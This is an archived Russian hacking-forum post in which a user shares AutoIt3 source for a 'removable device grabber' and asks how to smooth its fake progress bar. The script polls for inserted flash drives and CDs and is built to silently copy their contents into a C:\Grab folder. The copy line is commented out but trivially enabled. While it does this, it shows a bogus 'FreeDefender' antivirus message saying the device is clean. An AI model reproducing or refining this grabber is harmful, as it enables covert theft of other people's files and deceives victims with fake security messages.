Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Грабим флешки на AutoIt3

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Грабим флешки на AutoIt3
Имя
Сообщение << Старые топики   Новые топики >>
Грабим флешки на AutoIt3 - 2009-03-09 11:20:12.506666   
Sh1td0wn

Сообщений: 156
Оценки: 0
Присоединился: 2008-05-16 16:48:32.490000
Прочитал вот эту статью: http://www.xakep.ru/magazine/xa/104/054/1.asp , понравилось, написал своё решение.
Код:
;Removable device grabber 0.9b by Sh1td0wn ;------------------------------------------------------------------- ; Написано Sh1td0wn'ом в ночь в 8 марта 2009 года на 9 марта 2009 года ; распространять ТОЛЬКО в виде сорцов! Пусть люди думать учатся! ; при распрострнении сохранять эту надпись, ; всё равно она никому не мешает... ;------------------------------------------------------------------- ; ПРОЧТИ КОД ПОЛНОСЬЮ ПЕРЕД КОМПИЛЯЦИЕЙ ;------------------------------------------------------------------- ; подготовим сцену... Main() ; запуск главной функции Func Main () $auto = 0 ; по умолчанию автопроверка выключена TraySetIcon("Shell32.dll",134) ; ставим иконку в трее, можно брать из ресурсов exe'шника программы Opt("TrayMenuMode",1) ; прячем дефолтное меню $selauto = TrayCreateItem("Включить автопроверку носителей") ; создаём пункт меню $selexit = TrayCreateItem("Выход")&nbsp; ; аналогично While (true) ;бесконечный цикл, &lt;1% ЦПУ на Core 2 Duo, даже при включённой проверке &nbsp;&nbsp;&nbsp; $msg = TrayGetMsg() ; узнаём, что сделал пользователь &nbsp;&nbsp;&nbsp; Select &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Case $msg = $selauto ; выбрал переключение режимов &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Select &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case $auto = 0&nbsp; ; если автопроверка выключена &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $auto = 1 ; включить &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; TrayItemDelete ( $selauto ) ; перерисовка меню &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; TrayItemDelete ( $selexit ) &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $selauto = TrayCreateItem("Выключить автопроверку носителей") &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $selexit = TrayCreateItem("Выход") &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ;MsgBox(0,"",$auto) для отладки -&nbsp; были проблемы с рекурсией и т.п. &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ContinueLoop &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case $auto = 1 ; если автопроверка включена &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $auto = 0 ;выключить &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; TrayItemDelete ( $selauto ) ; перерисовать меню &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; TrayItemDelete ( $selexit ) &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $selauto = TrayCreateItem("Включить автопроверку носителей") &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $selexit = TrayCreateItem("Выход") &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ;MsgBox(0,"",$auto) тоже для отладки &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ContinueLoop &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; EndSelect&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case $msg = 0 ; пользователь не сделал ничего &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if $auto = 1 then Check() ; если проверка включена, проверяем &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Case $msg = $selexit ; пользователь выбрал выход &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ExitLoop ; выходим из цикла, а там и конец функции, дальше вызовов нет - выход из программы &nbsp;&nbsp;&nbsp; EndSelect WEnd&nbsp;&nbsp;&nbsp; EndFunc Func Check () ;проверка ;Sleep(10000) ;ждём... - отключено, проверка регулируется через меню $flash = DriveGetDrive( "removable" ) ; ищем флешки $cd = DriveGetDrive( "cdrom" ) ; ..и сидиромы If ($flash[0] &gt; 1) Then FlashParse($flash) ; вместе с флешкой нашли дискетник... непорядок! если девайсов БОЛЬШЕ одного, парсим массив If ($cd[0] &gt; 0) Then CheckCd($cd) ; если CD есть, то проверяем, есть ли диск внутри EndFunc Func FlashParse ($flash) &nbsp;&nbsp;&nbsp; For $i = 2 to $flash[0] ; начинаем со второго девайса: первый - дискетник &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Grab($flash[$i]) ; можно грабить корованы &nbsp;&nbsp;&nbsp; Next EndFunc Func CheckCd ($cd) &nbsp;&nbsp;&nbsp; For $i = 1 to $cd[0] ; от первого до последнего... &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $condition = DriveStatus($cd[$i]) ; берём состояние &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; If $condition = "READY" Then Grab ($cd[$i]) ; проверяем состояние, если готов, то можно грабить корованы &nbsp;&nbsp;&nbsp; Next EndFunc Func Grab ($disk) ; грабим корованы &nbsp;&nbsp;&nbsp; ; сейчас будет вынос мозга - проверка, сохранили ли мы этот носитель (банально имя диска в файле) &nbsp;&nbsp;&nbsp; $gotdrive = FileRead("C:\Grab\drive.dat") ; создайте пустой файл заранее! на всякий случай &nbsp;&nbsp;&nbsp; if NOT $gotdrive = $disk then ; если предыдущий найденный диск - не тот, можно грабить &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $newdir = "C:\Grab\" &amp; @Year &amp; " " &amp; @MON &amp; " " &amp; @MDAY &amp; " - " &amp; @HOUR &amp; "." &amp; @MIN &amp; "." &amp; @SEC ; создаём переменную - имя папки, чтобы потом подставить её в несколько функций &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ;ProgressOn("FreeDefender device checking utility", "Проверка устройства " &amp; $disk, "Пожалуйста, подождите, пока"&amp;@CRLF&amp;"FreeDefender проверит устройство...") ; запускаем бутафорию &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; TrayTip ( "FreeDefender", "Проверка устройства "&amp;$disk&amp;"...", 30 ,1) &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ;DirCopy ($disk,$newdir,1) ; самое важное &gt;:-) &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; MsgBox(64,"FreeDefender","Проверка завершена: вирусов на устройстве "&amp;$disk&amp;" не обнаружено") &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ;ProgressSet( 100 ,"", "Завершено - вирусы не найдены") ; плавно это сделать, скорее всего, не удастся, успокаиваем пОциЭнта &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; TrayTip ( "FreeDefender", "Вирусы на устройстве "&amp;$disk&amp;" отсутствуют.", 5, 1) &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Sleep(2000) ; даём время успокоиться &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ;ProgressOff() ; прячем бутафорию &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; FileWrite("C:\Grab\drive.dat",$disk) ; запоминаем букву диска, пока файл не будет очищен (в будущем сделаю очистку через меню), этот диск копироваться не будет! &nbsp;&nbsp;&nbsp; EndIf EndFunc
Собственно, вопрос: можно ли сделать прогресс "проверки на вирусы" плавным? Если да, то как?
Post #: 1
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Грабим флешки на AutoIt3







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.